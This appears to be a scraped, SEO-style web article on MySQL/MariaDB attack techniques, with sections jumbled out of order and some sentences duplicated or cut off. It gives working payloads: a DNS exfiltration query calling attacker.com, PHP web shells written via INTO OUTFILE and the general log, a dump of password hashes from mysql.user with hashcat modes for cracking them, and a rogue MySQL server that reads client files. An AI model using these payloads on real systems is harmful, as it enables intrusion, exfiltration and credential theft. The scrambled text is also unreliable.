SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake.txt')); On your DNS server, monitor queries for dbname.attacker.com .
Not possible directly, but you can create a new user with the stolen hash if you have INSERT on mysql.user and restart privileges ( FLUSH PRIVILEGES ). 4.2 Reading Client Files (Rogue MySQL Server Attack) This is a classic but often overlooked. If you can trick an admin or app server into connecting to your malicious MySQL server, you can read arbitrary files from the client.
SELECT user, host, authentication_string FROM mysql.user; Use hashcat -m 300 for mysql_native_password (4 bytes salt + 20 bytes SHA1) or -m 7400 for caching_sha2_password. mysql hacktricks verified
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; If OUTFILE fails due to newline issues, use INTO DUMPFILE with hex:
Your fake server sends a LOAD DATA LOCAL INFILE request during handshake. Vulnerable clients (e.g., old PHP mysqli with allow_local_infile=ON , MySQL Workbench, or outdated connectors) will send back any file the client user can read. SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '
Keyword Focus: mysql hacktricks verified Introduction: Why "Verified" Matters In the world of cybersecurity, information is abundant, but accuracy is scarce. When searching for mysql hacktricks verified , you are not looking for theoretical vulnerabilities or outdated exploits. You are looking for battle-tested commands, bypasses, and privilege escalation paths that work against real-world MySQL and MariaDB deployments.
Use RogueMySQL or mysql-fake-server tools. The payload is: If you can trick an admin or app
SHOW VARIABLES LIKE 'general_log%'; SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/mysqlshell.php'; SELECT "<?php system($_GET['cmd']); ?>"; -- The query gets written to the log file as a PHP shell This is a goldmine for hacktricks users – it bypasses all file restrictions. 3.1 DNS Exfiltration (No File Write) If you can execute LOAD_FILE or SELECT but the host has no outbound internet except DNS, use DNS leaks.